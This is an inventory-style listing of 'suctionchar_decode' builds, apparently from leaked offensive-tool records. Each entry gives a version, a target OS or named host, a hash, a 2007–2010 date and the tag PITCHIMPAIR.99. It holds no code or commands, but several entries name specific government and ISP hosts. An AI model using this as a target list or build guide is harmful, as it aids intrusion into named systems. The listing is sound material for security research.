suctionchar_decode__v__2.0.37.3_x86-linux-redhat-enterprise-4.0 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.37.4_x86-linux-vinifera-bs003v01 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.37.5_suctionchar_x86_linux_debian_4.0 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.37.6_x86-linux-suse-enterprise-9 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.37.8_x86-linux-debian-3.1 +D6F647AE384018B56D74D40DF8866D8842FC4694 Fri Feb 27 17:01:03 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.38.1_x86-freebsd-6.1-wickedviper +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.39.1_x86-linux-suse-10.3 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.39.2_x86-linux-fedora7 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.39.3_x86-linux-fedora6 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.39.4_x86-linux-slackware-12.0 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.39.5_sparc-sun-solaris2.8 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.39.6_sparc-sun-solaris2.9 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.39.7_sparc-sun-solaris2.10 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.39.8_sparc-sun-solaris2.10 +50A1F756C0667D541D3D1BECFD27834402D3B3B5 Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.4.1_x86-linux-redhat-enterprise-3.0 +50A1F756C0667D541D3D1BECFD27834402D3B3B5 Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.4.2_x86-linux-redhat-7.2 +2841E65F4B5A6D7531DE0B5F27A9F5B69FF9D7CC Wed Jan 24 20:42:53 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.4.3_x86-linux-2.4-tilttop-comet_emx_ns +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.10_x86-linux-asianux-1.0 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.11_x86-linux-suse-10.0 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.12_x86-linux-ubuntu-8.04 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.13_x86-linux-alt-2.4 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.14_x86-linux-redhat-7.2 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.15_x86-linux-slackware-11.0 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.16_x86-linux-vinifera-bs101v01 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.17_x86-linux-redhat-enterprise-4.0 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.19_x86-linux-redhat-9.0 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.1_x86-linux-centos-4.4 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.20_suctionchar_x86_linux_toadyteal_rowdaco.com +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.21_x86-linux-centos-5.1 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.2_x86-linux-centos-4.6 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.3_x86-linux-tilttop-gate2 +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.5_x86-linux-charmshrill-server +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.6_x86-linux-wolfacid_iq-lunasat-qos +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.7_x86-linux-fataltouch +A1BDE793CB1EFE447A82E738E1E4D2C62E84ED6F Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.40.9_x86-linux-suse-10.3 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.5.11_x86-linux-redhat-9.0 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.5.3_x86-linux-fedora4 +50A1F756C0667D541D3D1BECFD27834402D3B3B5 Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.5.6_sparc-sun-solaris2.8 +50A1F756C0667D541D3D1BECFD27834402D3B3B5 Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.5.9_sparc-sun-solaris2.10 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.6.2_x86-linux-fedora2 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.6.3_x86-linux-fedora3 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.6.4_x86-linux-debian-3.1 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.7.1_x86-linux-vinifera-mail-npost +12307AC90F9202813851FEC58BC0C789FC777990 Thu Mar 22 16:36:18 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.7.5_x86-linux-tilttop-gate.itec +50A1F756C0667D541D3D1BECFD27834402D3B3B5 Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.8.1_i386-pc-solaris2.8 +50A1F756C0667D541D3D1BECFD27834402D3B3B5 Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.8.2_i386-pc-solaris2.9 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.8.3_x86-linux-redhat-7.3 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.8.4_x86-linux-tilttop +50A1F756C0667D541D3D1BECFD27834402D3B3B5 Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.8.7_sparc-sun-solaris2.9 +50A1F756C0667D541D3D1BECFD27834402D3B3B5 Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.8.8_sparc-sun-solaris2.8 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.9.1_x86-linux-tilttop +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.9.4_x86-linux-suse-10.0 +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.9.6_x86-linux-tilttop +FAE714B639224B6B9003B760E7233BBCF9F6FD5D Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_decode__v__2.0.9.7_x86-linux-fedora3 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.10_sparc-sun-solaris2.9 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.11_x86-linux-centos-4.7 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.12_x86-linux-asianux-1.0 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.13_x86-linux-slackware-10.1 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.14_sparc-sun-solaris2.9 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.15_x86-linux-ubuntu-8.04 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.2_sparc-sun-solaris2.8 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.3_sparc-sun-solaris2.9 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.4_sparc-sun-solaris2.10 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.5_x86-linux-suse-enterprise-9 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.7_x86-linux-centos-5.3 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.8_x86-linux-debian-4.0 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.1.9_x86-linux-centos-5.2 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.2.4_x86-linux-fedora9 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.3.1_x86-linux-debian-5.0 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.3.3_x86-linux-fedora8 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.4.3_x86-linux-redhat-7.3 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.4.5_x86-linux-suse-enterprise-9 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.7.1_x86_64-linux-redhat-enterprise-4.0 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.7.4_x86_64-linux-redhat-enterprise-5.0 +0C0A1C12372382001B1A12EAB860A2C359F83627 Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_decode__v__3.0.8.1_x86-linux-fedora10 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.11_x86_64-linux-redhat-enterprise-5.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.12_x86-linux-fedora10 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.13_x86-linux-fedora9 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.14_x86-linux-fedora8 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.16_x86-linux-debian-4.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.17_x86-linux-debian-5.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.19_x86-linux-suse-enterprise-9 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.20_x86-linux-asianux-1.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.22_x86-linux-slackware-10.1 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.23_x86-linux-slackware-11.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.25_x86-linux-suse-10.1 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.26_x86_64-linux-centos-5.1 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.27_x86-linux-suse-10.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.28_x86_64-linux-redhat-enterprise-5.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.29_x86_64-linux-centos-5.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.2_sparc-sun-solaris2.8 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.30_x86-linux-suse-9.3 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.3_sparc-sun-solaris2.9 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.4_sparc-sun-solaris2.10 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.5_x86-linux-centos-4.7 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.6_x86-linux-centos-5.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.7_x86-linux-centos-5.3 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.8_x86_64-linux-centos-5.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.0.9_suctionchar_x86_64_linux_centos_5.3 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.10_x86-freebsd-5.4 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.12_x86-freebsd-6.1 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.13_x86-freebsd-6.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.15_x86-linux-centos-5.4 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.16_x86-freebsd-6.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.17_x86-linux-straitshooter-ibs-bk +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.18_x86-linux-centos-4.8 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.19_x86-linux-darkthunder-nsp.yemen.net.ye +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.1_x86-freebsd-5.3 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.2_x86-freebsd-7.1 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.3_x86-freebsd-7.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.5_x86-freebsd-7.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.6_x86-linux-centos-4.8 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.7_x86-linux-slackware-10.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.8_x86-linux-steelsnob-babar +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.1.9_x86_64-linux-redhat-enterprise-5.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.2.1_i386-pc-solaris2.10 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.2.2_x86_64-linux-debian-5.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.2.3_x86_64-linux-centos-5.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.2.4_x86_64-linux-scientific-5.1 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.3.1_x86-freebsd-5.5 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.3.3_x86_64-linux-suse-10.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.3.4_x86-linux-redhat-enterprise-5.4 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.10_x86_64-linux-vinifera-ie104 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.11_x86_64-linux-centos-5.4 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.12_x86-linux-redhat-enterprise-5.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.13_x86-linux-centos-4.8 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.14_x86-linux-ubuntu-8.04 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.15_x86-linux-centos-3.6 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.16_x86-linux-redhat-enterprise-4.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.17_x86-linux-centos-3.6 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.1_x86-freebsd-7.1 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.4_x86_64-linux-redhat-enterprise-5.4 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.5_x86-linux-centos-5.4 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.6_x86-linux-redhat-8.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.7_x86_64-linux-debian-5.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.8_x86-linux-debian-5.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.4.9_x86_64-linux-vinifera-ie103 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.5.1_sparc-sun-solaris2.7 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.6.2_x86_64-linux-suse-enterprise-10.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.6.3_x86-linux-wickedviper +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.6.4_x86-linux-redhat-enterprise-5.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.6.5_x86-linux-redhat-enterprise-5.3 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.6.6_x86-linux-centos-5.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.6.7_x86-linux-redhat-enterprise-5.5 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.6.8_x86-linux-redhat-enterprise-3.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.6.9_x86_64-linux-centos-5.5 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.10_x86-linux-slackware-10.1 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.11_x86-linux-slackware-10.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.12_x86-linux-slackware-11.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.13_x86-linux-slackware-12.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.14_x86_64-linux-centos-5.3 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.15_x86-linux-redhat-enterprise-5.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.16_sparc-sun-solaris2.10 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.17_i386-pc-solaris2.10 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.18_sparc-sun-solaris2.9 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.19_suctionchar_x86_linux_optimusprime_vezarat.dolat.ir +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.1_x86-linux-ubuntu-8.04 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] 